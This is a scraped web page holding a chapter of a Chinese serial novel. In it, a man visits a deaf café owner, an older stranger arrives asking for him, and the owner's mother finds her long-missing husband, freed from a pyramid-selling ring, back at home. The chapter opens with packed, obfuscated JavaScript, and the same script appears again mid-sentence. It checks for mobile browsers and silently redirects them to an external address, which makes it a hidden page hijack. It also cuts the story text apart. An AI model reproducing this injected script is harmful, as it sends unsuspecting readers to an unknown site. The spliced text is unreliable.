d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189190|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地开了门,“好不容易今晚不喝酒了,你让我早点睡觉行不行!” “行了行了别说这些废话,”骆恒摆摆手,说,“上次那个事情你还记得吗?有个警察说那个流氓因为搞传销被判过刑。” 何律师想了一会儿,想起来了,“哦哦,记得,想起来了。” 骆恒:“后面警察找过你吗?” 何律师皱了皱眉,表情有点复杂,“找过,不过我不是当事人,警察也不会跟我多说,我知道的只有……” * 秦铮失踪的事情,确实有点离奇。 秦铮是个大学生——二十多年前的大学生,绝对是最顶尖的。 他脾气急,为人却十分友善,邻居们遇到难事第一个想的就是找他帮忙。时间长了,对他的这对聋哑妻儿也都很照顾。 一家三口生活辛苦却十分幸福。 后来家里的小孩到了要上学的年纪,秦铮和云芸不得不再找些零散的兼职赚更多的钱,邻居之间交流慢慢少了。 再后来,就是听说秦铮失踪了。 “前几年治安不比现在,丢个人很难找到。”何律师缓缓说着从警察那里听来的消息,“一开始报了失踪人口,后来忽然撤了,云芸不会说话,也说不清楚到底是不想找了还是找到了,总之,就这样了。” 骆恒拧眉不语。 “哦,对了,说是前后拖拖拉拉了一年多。”何律师又想起来一点细节,补充道,“大概也是觉得,没希望了吧,总之这案子糊里糊涂的。再多的消息,得让云芸和云川这种当事人去了解了。” “……知道了。”过了很久,骆恒才哑着嗓子蹦出了三个字。 生活里的何律师明显不是个有眼力见的,他还在絮絮叨叨:“这一家人,都这么辛苦又努力,老天爷能不能对他们好点啊。” 骆恒闭着眼睛,语气复杂地说:“……你不说话没人把你当哑巴。” 到底还是改签了航班,第二天早上,骆恒赶到火烧云的时间竟然比云川还早。 他坐在行李箱上,老远就看到了一只小云朵在马路上慢吞吞地走着,一边走路一边踢着脚底下的小石子。 踢的太专心了,走到店门口才看到骆恒。 云川惊讶地出了个声,听起来有点像惊喜的“啊”。 骆恒逗他:“九点十分了,你才来开门啊,这生意有你这么做的吗?” 云川不好意思地抓抓脸,赶紧跑着过来拉开卷帘门。 这一次,身边有人帮助他了。 很重很重的卷帘门在骆恒的帮助下很轻松地推了上去。 云川两步跳进吧台,啪地按起一个小牌子。 “欢迎光临~” 24. 24 秦铮(2) 火烧云开始营业后,外卖订单也跟着进来了。云川抱歉地看着骆恒,说:【不好意思哦,我先工作一会会儿,等下来招待你!】 骆恒又在作恶:“那不行,我先来的,你得先招待我,不然我就去美团上给你差评。” 云川只能干瞪眼,一会儿拍起一个“可以自助点单”的牌子,一会儿又拍起“谢谢”,看得骆恒直笑。 早上上班时火烧云的生意一直很好,眼看着外卖订单和来店里的客人越来越多,骆恒老实下来不再逗他,自己倒了杯温水,在角落的位置里坐着看他。 云川精神还算不错,只是眼睛明显有点肿,圆眼睛显得更大。 骆恒想到昨晚何律师说,这一家人都这么辛苦又努力地生活,心里不由得发酸。 他托着下巴看向云川—— 小老板正笑眯眯地给客人换贴纸,顺便收获了一波赞美。 有个年轻男人说,这次的新品柑橘美式很清爽很好喝;有个小女孩说,在火烧云这里不用担心会换到重复的贴纸;还有位看上去就很精英的女士问帆布包什么时候再卖,说是只有云川这里卖的包包能够装下她的笔记本电脑。 云川笑着一一答过。 骆恒笑了笑,低头将杯中的温水一饮而尽。 辛苦的生活在他自己的努力下变得精彩,这何尝不是一种成就呢。 四十分钟后,火烧云的早高峰时期终于结束。 骆恒凑到吧台前,撑着上半身往吧台里面看,“柑橘美式又是什么?有人调新品不给我喝,我很生气。” 云川笑了笑,打了几个字,【现在给你喝,现在给你喝。】 “来不及了。”骆恒伸出食指摇了摇,“我没有成为第一个品尝的人,这事情过不去了。” 【哎呀!】云川推着他的肩膀,笑着锤他,【不要给我捣乱!】 几分钟后,柑橘美式递到了面前。 【尝尝看。】云川两只手撑着下巴,写道,【感觉你好像不喜欢加其他东西,不知道这个味道你喜不喜欢。】 骆恒举起杯子喝了一大口。 是和想象中一样的清爽,柑橘的酸甜冲淡了咖啡的酸苦,却又没有完全掩盖住浓缩咖啡本来的味道,两种不同口味的酸混在一起,味道竟然意外地很合拍。 他冲云川比了个拇指,说:“很好喝。” 云川笑着点点头。 【骆恒,你不去上班吗?】云川忧心忡忡地问,【都十点多了。】 “……”骆恒尴尬道,“按道理来说,这个时候我应该在飞机上,所以今天其实是请假了的。” 他抬头看了一眼云川,飞快地说:“我有点担心你,实在放心不下,就提前回来了。” 云川惊讶地张开嘴,又赶紧低头打了几个字。 【我听说坐飞机要提前很久到机场准备安检,你今天是不是很早就出门了啊?】 “是啊,”骆恒耸耸肩,“五点多就爬起来了,需要一些来自云川老板的爱的鼓励才能振作起来。” 云川悄悄转过头去,假装没有看懂骆恒在说什么。 骆恒不依不饶追过去,歪着脑袋靠在吧台上,又抱怨了一句:“本来说好下次坐飞机是带你出去玩的,没想到被工作抢先了,真是的。” 这句话不知哪里戳中了云川,他的耳朵刷地红了。 骆恒笑了一声,伸手捻捻他的耳朵,看那片红晕在皮肤上向外扩散开。 他抽回手,人也坐起来,脸上调笑的神情也变得正经。 “云川,那个,走之前跟你说考虑考虑……”骆恒轻声问道,“考虑得怎么样了啊?” 云川手一抖,松开了手里握着的奶泡机,才打发到一半的奶泡喷涌而出,在云川慌乱的动作里溅得到处都是。 骆恒赶紧过去帮他按住奶泡机,这才避免了奶泡喷到更远的地方。 云川欲哭无泪,整个人快被奶泡喷傻了。 他这个奶泡机买得比较早,那时候还没有盖子打开就会自动停止打泡的功能。平时没什么,今天算是倒了霉。 骆恒忍着笑帮他拖干净地面,之后站在一旁,看云川用纸巾擦着脸上的奶油。 不过,脸能擦干净,衣服只能重新换了。 云川哭丧着脸去后面的小房间里换衣服。 而刚刚说出口的隐秘感情,又一次被打断了。 骆恒看着云川拿着干净衣服走进小房间后,脸上的笑容逐渐消失。 他能感觉到,云川依然不想接受他。 骆恒又坐回店里最靠边边的位置,整个人陷进沙发里,心里被无奈的情绪装满了。 他摇摇头,告诉自己不要太过着急,以后有的是机会。 云川不回应他的感情,却也默许了他的亲近,至少这能说明,云川并不反感这些。 一直以来,云川拒绝他的原因都很明确。说到底,他就是不相信骆恒会一直爱他。 而这种不相信的深层次原因,恐怕又和那位失踪多年的父亲有关。 骆恒朝小房间看了一眼,他细细地想了想,云川今天还来开店,也不像昨晚一样伤心欲绝,至少能说明,家里没有出什么大事…… 那看来,昨晚那一出,也是因为他那位失踪的父亲了。 骆恒有心想提一嘴上次那位小警察提到的关于传销的事情。 云川年纪小,对以前的事情可能印象不深,骆恒可是清楚的。十几年前,他们这个地方传销盛行,不少人都吃过亏,后来严打严惩,情况好了一些,但又有不少人被“熟识”的亲戚朋友骗到外地的传销组织,新闻上履有报道。 再加上,上次那几个流氓里,那个搞传销蹲过监狱的八字胡子,明显是认识云川一家人的。前后这么一联想,骆恒很难不联想到这方面的可能性。 该怎么告诉他呢…… 骆恒正犹豫着,火烧云的大门被人推开了。 云川还在换衣服,大概感受到了手环的振动想立刻出来,动作大了不少,听声音都能感受到他的着急。 骆恒等了两秒,见小老板还没出来,干脆起身上前帮忙。 “老板在换衣服,马上出来。您先看看菜单,可以自助下单。”骆恒职业病上身,一边说着一边仔细打量这位客人。 他看起来有些年纪了,头发花白,额头上布着两三条刀刻一样的皱纹;他的脊背佝偻着,脸色也很苍白,透露着一种许久没见过阳光的颓丧感。 骆恒多看了几眼——他不像是会光临这种咖啡店的客人,却也没让人感觉到不舒服或者恶意。 男人听到了骆恒的话语,但并没有走向吧台点单,而是在原地四处看看,像是在找人。 “先生,您……?”骆恒迟疑着上前,上次的事情发生之后,他对这种明显不是咖啡店消费目标的中年男人格外敏感。 男人被骆恒的突然靠近吓了一跳。他连连后退,险些被大门口的观景盆栽绊倒。 “我、我听说这条街上有家咖啡馆,老板、老板……”男人局促地搓搓手,开口说道,“老板是位聋哑人,所以……” 捕捉到关键词语的骆恒皱紧了眉,再开口时声音就不那么客气了,“有什么事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189191|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 男人僵硬地愣在原地。 骆恒几乎想要开口赶人了,这时,终于换好衣服的云川从小房间里慌慌张张跑出来。 他一把拉开门,就要朝着吧台的方向跑去—— 人却愣住了。 那个中年男人听到声音后也扭头看去,他略显疲惫的双眼在看到云川时忽然发了光。 “小川……”他干燥脱皮的嘴唇抖了两抖,“真的、真的是你啊……” * 又是一天过去了,又是一次无功而返。 云芸呆愣着走在回家的路上,心里满是苦涩。 这次明市之行并非毫无收获——不知该说是老天眷顾她还是惩罚她,居然真的让她找到了秦铮的行踪。 她按照新闻上的蛛丝马迹找到了秦铮曾经落脚过的地方,然而再三打探之下却得知…… 那处几年前曾是一个传销据点,被人举报之后连夜搬走了,警察只抓到几个边缘人员。 传销两个字像晴天霹雳一样砸得云芸喘不过气。 她被秦铮保护得太好了,没怎么经历过人心险恶的女人,无法理解这世界上的黑暗。 她像没头苍蝇似的转了两天,又在明市警察的引导下,找到了之前关着秦铮的地方。 警察对她说,那一次的抓捕行动很彻底,这个传销组织的核心人员几乎全部抓捕归案,那些被骗进来的人也都遣送回了各自的家乡。 不过,这个传销组织的手段非常暴力,有很多曾经的受害者,最后居然也变成了组织里的领导人物。还有一些因为长时间的软硬折磨,身体和精神出了很多问题,记不起家乡在哪里,也说不上来自己的名字,只能先送进医院好好疗养,再与全国各地的失踪人口一一比对。 云芸吓坏了,她连忙比对了被抓捕入狱等待审判的传销头子,一再确认没有秦铮的名字才肯放下心来。 之后的几天,她又按照警察给的消息一一走遍了几家医院,只是,这一次老天爷没再施舍一点好心。 她没有找到秦铮。 这一趟出行,最终还是无功而返。 回到家后,她终于再也承受不住心里的愧疚和酸楚,病倒了。 这么多年来伪装出的坚强,在得知秦铮被骗进传销组织之后轰然倒塌。云芸整日都在自责,那时不该和他吵架,那时应该再多给他一点信任。 明明知道,秦铮做这一切都是为了他们母子俩。 云芸连着跑了几天火车站,到处打听有没有人见过秦铮。只是茫茫人海,想找一个人实在是太难了。 她又在家门口守株待兔了很久,依然没有等到那个熟悉的身影。 六年时间过去了,这附近的街道早就大变样,云芸害怕秦铮找不到回家的路,决定回家让儿子画几张曾经的地图贴上。 过了这么久,她也终于有勇气向儿子坦白当年的种种。如果她能再聪明一点,如果她能再勇敢一点,或许、或许一切都会不一样…… 云芸在家门口徘徊了好久,直到确认自己神色无异后才打开家里的大门。 她像往常一样,等待儿子从卧室走出来。 只是这一次,从卧室走出来的,居然是…… 云芸手里的钥匙啪嗒一声掉在地上。 她愣愣地蹲下身捡起钥匙,摸到那串冰冷的金属时,眼泪也毫无征兆地掉了下来。 秦铮的身体踉跄着,好像每一步都走得很艰难。 但他还是走来了,他在云芸面前蹲下,帮她拾起地上的钥匙。 “……我回来了。”他说。